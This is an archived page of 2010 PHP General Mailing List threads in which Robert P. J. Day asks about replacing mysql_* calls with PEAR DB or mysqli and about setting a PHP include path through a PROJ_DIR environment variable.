Linux Consulting, Training and Kernel Pedantry.

Web page:  http://crashcourse.ca
Twitter:   http://twitter.com/rpjday


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] any reason *not* to use PEAR DB module when accessing mysql?

2010-03-19 Thread Robert P. J. Day
On Fri, 19 Mar 2010, Mattias Thorslund wrote:

> Robert P. J. Day wrote:
> >   (just a warning -- as a relative newbie to PHP, i'll probably have
> > the occasional dumb question.  just humour me.)
> >
> >   i'm looking at some existing PHP code that accesses a mysql 5.0 db,
> > and it's coded using the mysql-specific calls:  mysql_connect,
> > mysql_select_db, etc, etc.
> >
> >   is there any reason i *wouldn't* want to rewrite that code using the
> > more general PEAR DB module, and use mysqli?  certainly, as i read it,
> > using the PEAR DB module would make it easier down the road if i
> > suddenly decide to change the DB backend.
> >
> >   anyway, any compelling arguments for or against?
> >
> > rday
> > --
> >
>
> Well, the reason you shouldn't use PEAR DB in a new project is that
> it's being deprecated. MDB2 is the PEAR successor, ...

  you're right and, in fact, i knew that, i just forgot.  i'm also
taking seriously the recommendations for PDO and adodb.

rday
--



Robert P. J. Day   Waterloo, Ontario, CANADA

Linux Consulting, Training and Kernel Pedantry.

Web page:  http://crashcourse.ca
Twitter:   http://twitter.com/rpjday


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] any reason *not* to use PEAR DB module when accessing mysql?

2010-03-19 Thread Robert P. J. Day

  (just a warning -- as a relative newbie to PHP, i'll probably have
the occasional dumb question.  just humour me.)

  i'm looking at some existing PHP code that accesses a mysql 5.0 db,
and it's coded using the mysql-specific calls:  mysql_connect,
mysql_select_db, etc, etc.

  is there any reason i *wouldn't* want to rewrite that code using the
more general PEAR DB module, and use mysqli?  certainly, as i read it,
using the PEAR DB module would make it easier down the road if i
suddenly decide to change the DB backend.

  anyway, any compelling arguments for or against?

rday
--


====
Robert P. J. Day   Waterloo, Ontario, CANADA

Linux Consulting, Training and Kernel Pedantry.

Web page:  http://crashcourse.ca
Twitter:   http://twitter.com/rpjday


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] best way to set up an include path for a multi-level project?

2010-03-17 Thread Robert P. J. Day
On Wed, 17 Mar 2010, Bob McConnell wrote:

> I suspect you will have to manage that on a machine by machine
> basis, unless you can convince the entire development team to create
> a common directory structure that encompasses all projects.

  i'm not sure what you mean by the above.  while that single project
(that others might want to take advantage of) will have to have a
uniform and consistent layout for everyone, i don't see that that will
enforce any sort of uniformity on *other* projects that might want to
take advantage of it.  or am i misunderstanding you?

rday
--



====
Robert P. J. Day   Waterloo, Ontario, CANADA

Linux Consulting, Training and Kernel Pedantry.

Web page:  http://crashcourse.ca
Twitter:   http://twitter.com/rpjday


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] best way to set up an include path for a multi-level project?

2010-03-17 Thread Robert P. J. Day
On Wed, 17 Mar 2010, Bob McConnell wrote:

... snip ...

> IOW, you want to point into the first project's test directory from
> other projects when you can't know the relative paths between those
> projects?
>
> I suspect you will have to manage that on a machine by machine
> basis, unless you can convince the entire development team to create
> a common directory structure that encompasses all projects.

  let me emphasize that the layout of the entire "proj" directory will
be consistent across all users and all machines since it will
represent a single SVN checkout, so that's not an issue.  of course,
anyone will be free to check it out anywhere they want but once they
do, its structure will be the same across all checkouts.

  that's why i think the easiest solution is to define a single
environment variable (say, PROJ_DIR) that anyone can set depending on
where they do the checkout, the PHP code itself will (somehow)
initially consult that variable, and all inclusion from then on will
be based on that.  piece of cake, no?

  in fact, developers are free to do more than one checkout, work on
them independently, and change PROJ_DIR depending on which one they
want to pick up for their code.

  does that more clearly explain what i think the right approach is?

rday
--


====
Robert P. J. Day   Waterloo, Ontario, CANADA

Linux Consulting, Training and Kernel Pedantry.

Web page:  http://crashcourse.ca
Twitter:   http://twitter.com/rpjday


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] best way to set up an include path for a multi-level project?

2010-03-17 Thread Robert P. J. Day
On Tue, 16 Mar 2010, John Black wrote:

> On 03/16/2010 06:57 PM, Robert P. J. Day wrote:
> >i have a project (let's call it "proj") which lives in the "proj"
> > directory and which contains several subdirs, some of which might
> > contain their own subdirs and so on.  some of those subdirs might
> > contain utility classes that i want to include or require elsewhere,
> > so i want to be able to just:
> >require 'util.php';
> > and have the PHP include path "do the right thing."  right now, it's
> > ugly, as in, having PHP files that do:
> >require '../../proj/util.php';
> > meaning every single file that wants to include another proj-related
> > file has to know its relative position in the proj hierarchy.   barf.
>
> I used to use auto detecting absolute paths but switched to relative
> paths when a client decided to switch his hosting company, I *think*
> it was GoDaddy. They required relative paths when using the shared
> SSL server or the browser would throw errors.
>
> It is really not bad as long a you keep your directory structure
> consistent. I have never received a bug report because of an include
> path issue. It also does not matter where the root directory of the
> app is located since everything is relative anyway. There is also no
> need for the user to configure anything because of the relative
> paths.
>
> So I just set $include = './include/abc/def/' at the top of the
> executing php page and use it further down. You make $include a
> global or simply pass $include to functions or classes when they
> need to include files. I use the later approach.
>
> As I said I never had a problem with it, it just requires
> consistency.

  i'm not entirely sure what you're suggesting here, but i don't think
it will work for me as one of the things i want to do is set up a
"test" directory, inside which i might have subdirectories with more
test routines, so i can't guarantee *anyone's* position relative to
the top of the "proj" directory.

  i might even want to write PHP scripts and place them quite some
distance from the "proj" directory but still want to include utility
scripts from the "proj" directory.  based on how i've done this with
shell and makefile-based projects in the past, the easiest solution
seemed to be to simply demand that users set a single environment
variable identifying the location of the "proj" directory, and base
everything off of that by extending the include path.  at that point,
everything falls into place and all include/require references work
relative to the top of the "proj" tree.

  i think that's the direction i'm going to go, unless someone has a
compelling reason not to.  thanks.

rday
--


Robert P. J. Day   Waterloo, Ontario, CANADA

Linux Consulting, Training and Kernel Pedantry.

Web page:  http://crashcourse.ca
Twitter:   http://twitter.com/rpjday


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] best way to set up an include path for a multi-level project?

2010-03-16 Thread Robert P. J. Day

  i have a project (let's call it "proj") which lives in the "proj"
directory and which contains several subdirs, some of which might
contain their own subdirs and so on.  some of those subdirs might
contain utility classes that i want to include or require elsewhere,
so i want to be able to just:

  require 'util.php';

and have the PHP include path "do the right thing."  right now, it's
ugly, as in, having PHP files that do:

  require '../../proj/util.php';

meaning every single file that wants to include another proj-related
file has to know its relative position in the proj hierarchy.   barf.

  based on my experience with shell and makefile-based projects, my
preference would be that anyone who checks out a copy of the project
can check it out anywhere they want, then they need to set the single
shell environment variable, say PROJ_DIR, to the top-level directory
location, say:

  $ export PROJ_DIR=/home/rpjday/php/things/proj

  i would then make sure that env vars are available to PHP scripts
via /etc/php.ini:

  variables_order = "EGPCS"
 ^

and all PHP scripts would start off with something like:

set_include_path(get_include_path() . PATH_SEPARATOR . getenv('PROJ_DIR'));

at that point (and correct me if i'm wrong), all subsequent includes
or requires would simply need to reflect the location of the file
relative to its PROJ_DIR location (barring any weird conflicts with
system files having the same name, of course).

  does that sound about right?  is there a standard way to do this?
that is, to have a sizable PHP hierarchy and allow any files within
that hierarchy to include others conveniently without having to
hardcode directory names.

  requiring users to simply set a single env var has always worked for
me.  is that what others do to solve this?  thanks.

rday
--


Robert P. J. Day   Waterloo, Ontario, CANADA

Linux Consulting, Training and Kernel Pedantry.

Web page:  http://crashcourse.ca
Twitter:   http://twitter.com/rpjday


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



  1   2   3   4   5   6   7   8   9   10   >